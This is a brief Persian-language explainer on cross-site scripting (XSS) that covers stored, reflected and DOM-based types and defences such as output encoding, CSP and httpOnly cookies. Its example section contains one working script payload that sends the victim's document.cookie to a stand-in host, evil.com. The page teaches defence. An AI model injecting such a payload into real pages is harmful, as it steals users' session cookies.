CodeShot
XSS1 دقیقه مطالعه

XSS چیست؟

حمله‌ای که در آن مهاجم کد جاوااسکریپت مخرب را در صفحه‌ای که کاربران دیگر می‌بینند تزریق می‌کند تا در مرورگر قربانی اجرا شود.

چرا مهم است؟

XSS به مهاجم اجازه می‌دهد به نام کاربر قربانی در مرورگرش کد اجرا کند — یعنی می‌تواند Cookie/توکن او را بدزدد یا عملیاتی را به نام او انجام دهد؛ یکی از رایج‌ترین آسیب‌پذیری‌های وب است.

تعریف

XSS (Cross-Site Scripting) وقتی رخ می‌دهد که ورودی کنترل‌نشده کاربر مستقیم در HTML خروجی صفحه قرار می‌گیرد و مرورگر آن را به‌عنوان کد اجرا می‌کند، نه متن ساده.

انواع XSS

  • Stored XSS: اسکریپت مخرب در دیتابیس ذخیره می‌شود (مثلاً در یک کامنت) و برای هر بازدیدکننده اجرا می‌شود — خطرناک‌ترین نوع.
  • Reflected XSS: اسکریپت مستقیماً از URL/پارامتر درخواست برمی‌گردد و فوراً اجرا می‌شود.
  • DOM-based XSS: آسیب‌پذیری کاملاً سمت کلاینت، بدون دخالت سرور، از طریق دستکاری DOM با جاوااسکریپت.

مثال حمله ساده

نام کاربر ثبت‌شده: <script>fetch('https://evil.com?c='+document.cookie)</script>

اگر این مقدار بدون Encode مستقیم در صفحه رندر شود، مرورگر قربانی آن را اجرا و Cookie او را برای مهاجم می‌فرستد.

راه‌های مقابله

  • Output Encoding: فریمورک‌های مدرن (Razor، React) به‌صورت پیش‌فرض متن را Encode می‌کنند؛ هرگز از innerHTML/Html.Raw با ورودی کاربر بدون Sanitize استفاده نکنید.
  • Content Security Policy (CSP): هدر HTTP که محدود می‌کند از کجا اسکریپت قابل اجراست.
  • httpOnly روی Cookie حساس: حتی اگر XSS رخ دهد، جاوااسکریپت نمی‌تواند Cookie را بخواند.

اشتباه رایج

❌ استفاده از Html.Raw()/dangerouslySetInnerHTML برای نمایش محتوای وارد‌شده توسط کاربر (مثل کامنت) بدون Sanitize — این دقیقاً مسیر مستقیم Stored XSS است.

منبع و مطالعه بیشتر

خلاصه

XSS یعنی اجرای جاوااسکریپت مخرب در مرورگر قربانی، معمولاً از طریق ورودی کاربر که بدون Encode در صفحه قرار گرفته. هرگز HTML خام از ورودی کاربر را بدون Sanitize رندر نکنید و از httpOnly Cookie و CSP استفاده کنید. مرجع کامل: OWASP XSS Prevention Cheat Sheet.

این مطلب مفید بود؟
نشان کردن
مشاهده در Concept Hub ←